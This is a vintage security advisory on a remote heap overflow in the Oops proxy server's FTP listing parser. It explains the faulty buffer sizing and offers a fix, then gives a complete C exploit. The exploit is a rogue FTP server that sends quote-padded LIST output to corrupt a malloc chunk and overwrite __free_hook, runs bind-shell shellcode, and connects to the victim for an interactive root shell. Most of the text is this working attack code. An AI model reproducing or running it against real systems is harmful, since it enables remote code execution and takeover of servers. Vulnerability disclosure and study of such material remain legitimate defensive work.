[pkc] remote heap buffer overflow in oops

pkc001.txt

— Packet Knights Advisory 001 —

http://www.pkcrew.org

Author : |CyRaX| <[email protected]>

Application : Oops proxy server 1.4.22 1.4.6 and maybe prior

Type: heap buffer overflow

— The problem —

Function list_parser in ftp_utils.c :

line is the line sent by the ftp server in result of a list command

tempbuf = xmalloc(strlen(line)*3 + strlen(myhostname) + dovesok , […]);
p is the line without the filename

htmlized_something = html_escaping(p);

and this is the vulnerable sprintf

sprintf(tempbuf, "<img src=\"http://%s:%s/%s/%s\" alt=\"%s\">%s ",
icons_host[0]?icons_host:myhostname,
icons_port[0]?icons_port:"80",
icons_path[0]?icons_path:"icons",
icons[type],
alts[type],
htmlized_something);

well… as you can see tempbuf allocs strlen(line)*3. The probably tougth
that the htmlizing of the line can give just a string 3 times bigger than
the line. But if you look at html_escaping code you see that he translates
" into &quot; . So putting a large amount of " in the line we can overflow
tempbuf.

— The Solution —

Well… a quick fix could be just changing the alloc line into:

tempbuf=xmalloc(strlen(line)*6+strlen(myhostname)+dovesok, […];

but you can save more memory allocating tempbuf after the html_escaping.
Anyway… the authors were contacted and they're fixing it in a better way.

— How to exploit this —

As demostrated by the traceroute and slocate exploits, it's possibile to
overwrite a function pointer modifing a malloc chunk.
And in this case, after the tempbuf buffer, there is the chunk of
htmlized_something. So the exploit have to overwrite it, set the the size to
0xffffffff to make it a free chunk, put the address of the shellcode into fd
and the address of the target function pointer into bd (-8), and when the
free() will call the unlink it will put the shellcode address into
__free_hook. The problem of the exploit is that we must compute exactly the
length of tempbuf and hope that malloc will not give it a bigger length,
overwrite perfectly the chunk, know exactly the address of __free_hook and the
address of the shellcode.
As you can see the bigger problem is the shellcode. We can't simply put a
(not too) large amount of nop, cause the unlink will fill the zone near the
one pointed by __free_hook with the address of it… (so… some illegal
instrunctions) and the shellcode have to jump them. If instead you point to a
nop the other nops after that will be overwritten by the unlink() and will
result in SIGILL.
So… this is very hard to exploit… anyway it's possible…
I include an example exploit that worked on my slackware 7.0

— PKCoops-ex.c —

/* Dimostrative Exploit Against Oops Proxy Server v 1.4.22 and prior

• Coded by |CyRaX| <[email protected]>
• Packet Knights Crew : www.pkcrew.org
• Tested on Slackware 7.0
• Greetz : all the bros of pkc, expecially recidjvo,asynchro & cthulhu
• LordFelix & bikappa : for some hints about heap overflow
• BlackBerry , Nobody88, sMAV, Mav, Mr^Moon and all the others
  */

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>

#define ALIGN 0
#define __FREE_HOOK 0x40175994
#define SHELLCODE 0x80b1223

char c0de[]="\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

int main(int argc,char **argv){
int s,s2,clnsock,i;
struct sockaddr_in srv,clt;
char buff[500],sndbuff[1500],magic[1000],magic2[50],magic3[5000];
unsigned long ip;
int h1,h2,h3,h4,p1,p2;
u_short port;
int passive=0,tmplen,wrtlen;
struct malloc_chunk{
unsigned int ps;
unsigned int sz;
struct malloc_chunk *fd;
struct malloc_chunk *bd;
}mc;
fd_set setz;

mc.ps=0xffffffff & ~1;
mc.sz=0xffffffff;
mc.fd=(struct malloc_chunk )(SHELLCODE); / shellcode pointer */
mc.bd=(struct malloc_chunk )(__FREE_HOOK-8); / target pointer */
memset(magic2,0x41,0);
memcpy(magic2+0,&mc,sizeof(mc));

memset(magic3,'\x90',50);
memcpy(magic3+50,c0de,strlen(c0de));
magic3[50+strlen(c0de)]=0;

if(argc<4){
printf("Proof exploit against oops proxy server heap buffer
overflow!\n");
printf("by |CyRaX| <[email protected]>\n");
printf("Member Of Packet Knights Crew - http://www.pkcrew.org\n");
printf("Usage ./oopsexp <your_ip> <victim ip> <hostname len>\n");
printf("your ip: it is necessary for the passive mode\n");
printf("hostname len is the len of the host that he thinks to have\n");
printf(" for example if the hostname is c500 you must put 4
here\n");

  exit(0);

}
printf("now set the victim as your proxy in any web browser and go to\n");
printf("ftp://<your_ip>\n");

for(i=0;i<strlen(argv[1]);i++)if(argv[1][i]=='.')argv[1][i]=',';

s=socket(AF_INET,SOCK_STREAM,0);
srv.sin_addr.s_addr=INADDR_ANY;
srv.sin_port=htons(21);
srv.sin_family=AF_INET;
if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
printf("cannot bind to port 21 !\n");
exit(0);
}
listen(s,1);
clnsock=accept(s,(struct sockaddr *)&clt,sizeof(clt));
close(s);
strcpy(buff,"220 exploit is here :)\r\n");
send(clnsock,buff,strlen(buff),0);
recv(clnsock,buff,500,0);
strcpy(buff,"331 any pass is good d00d\r\n");
send(clnsock,buff,strlen(buff),0);
recv(clnsock,buff,500,0);
strcpy(buff,"230 oky d00d… login done!\r\n");
send(clnsock,buff,strlen(buff),0);
while(1){
memset(buff,0,500);
if(recv(clnsock,buff,500,0)<0)break;
if(strstr(buff,"SYST")){
strcpy(sndbuff,"215 UNIX Type: L8\r\n");
send(clnsock,sndbuff,strlen(sndbuff),0);
}
if(strstr(buff,"PASV")){
srv.sin_port=htons(1322);
if(passive==0){
s=socket(AF_INET,SOCK_STREAM,0);
if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
printf("cannot bind to port 1322 for passive mode!\n");
exit(0);
}
listen(s,4);
passive=1;
}
else {
close(s2);
}
sprintf(sndbuff,"227 Entering Passive Mode (%s,5,42)\r\n",argv[1]);
send(clnsock,sndbuff,strlen(sndbuff),0);
}
if(strstr(buff,"TYPE")){
strcpy(sndbuff,"200 vabbuo' vabbuo'\r\n");
send(clnsock,sndbuff,strlen(sndbuff),0);
}
if(strstr(buff,"NLST")){
if(passive){
s2=accept(s,NULL,NULL);
strcpy(sndbuff,"150 Opening ASCII mode data connection for file
list.\r\n");
send(clnsock,sndbuff,strlen(sndbuff),0);
sprintf(sndbuff,"%s\r\n",magic3);
send(s2,sndbuff,strlen(sndbuff),0);
close(s2);
strcpy(sndbuff,"226 Transfer complete.!\r\n");
send(clnsock,sndbuff,strlen(sndbuff),0);

     }
  }

  if(strstr(buff,"LIST")){
     strcpy(sndbuff,"150 vieni pure amore!\r\n");
     s2=accept(s,NULL,NULL);
    
     /*   HOW MANY BYTES TO WRITE COMPUTING */
     tmplen=0;
     tmplen=strlen("Arwxrwxrwx rooOOOt   \r\n ")*3+strlen(magic2)*3+
       strlen(magic3)*3;
     tmplen=tmplen+128; /* dovesok */
     tmplen=tmplen+atoi(argv[3]);
     tmplen+=10;
     wrtlen=strlen("<img src=\"http://:80/icons/unknown.gif\">"
                   "alt=\"[Unkn] \" ")+atoi(argv[3]);
     wrtlen=wrtlen+strlen("Arwxrwxrwx rooOOOt   \r\n")+strlen(magic2);
     i=0;

     while((wrtlen-tmplen)<16){
           magic[i]='"';
           tmplen+=3; /* 1 *3 */
           wrtlen+=6; /* " */
           i++;
     }
     magic[i]=0;
     printf("ora tmplen %i | wrtlen %i\n",tmplen,wrtlen);
    
    
     memset(sndbuff,0,1500);
     snprintf(sndbuff,6000,"Arwxrwxrwx rooOOOt %s %s 2000 %s\r\n",
              magic,
              magic2,
              magic3);
    
     send(s2,sndbuff,3000,0);
     strcpy(sndbuff,"226 Ho finito\r\n");
     send(clnsock,sndbuff,strlen(sndbuff),0);
     shutdown(s2,2);
     printf("closed!\n");
     sleep(5);
     s2=socket(AF_INET,SOCK_STREAM,0);
     clt.sin_addr.s_addr=inet_addr(argv[2]);
     clt.sin_port=htons(3879);
     clt.sin_family=AF_INET;
     if(connect(s2,(struct sockaddr *)&clt,sizeof(clt))!=0){
        printf("SORRY.. it didn't work!\n");
        exit(0);
     }
     strcpy(sndbuff,"uname -a;id\n");
     send(s2,sndbuff,strlen(sndbuff),0);
     while(1){
        FD_ZERO(&setz);
        FD_SET(0,&setz);
        FD_SET(s2,&setz);
        select(s2+1,&setz,NULL,NULL,NULL);
        if(FD_ISSET(0,&setz)){
           memset(sndbuff,0,sizeof(sndbuff));
           fgets(sndbuff,sizeof(sndbuff),stdin);
           send(s2,sndbuff,strlen(sndbuff),0);
        }
        if(FD_ISSET(s2,&setz)){
           memset(sndbuff,0,sizeof(sndbuff));
           recv(s2,sndbuff,sizeof(sndbuff),0);
           printf("%s",sndbuff);
        }
     }
  }
  if(strstr(buff,"CWD")){
     strcpy(sndbuff,"250 SUUU.. FATTI SOTTO !\r\n");
     send(clnsock,sndbuff,strlen(sndbuff),0);
  }
  if(strstr(buff,"PWD")){
     strcpy(sndbuff,"257 \"/\" ti stai cagando sotto eh ?!\r\n");
     send(clnsock,sndbuff,strlen(sndbuff),0);
  }
  if(strstr(buff,"QUIT")){
     close(clnsock);
  }

}
close(clnsock);
close(s);
close(s2);
}

– EOF –

|CyRaX|
Member Of Packet Knights Crew
www.pkcrew.org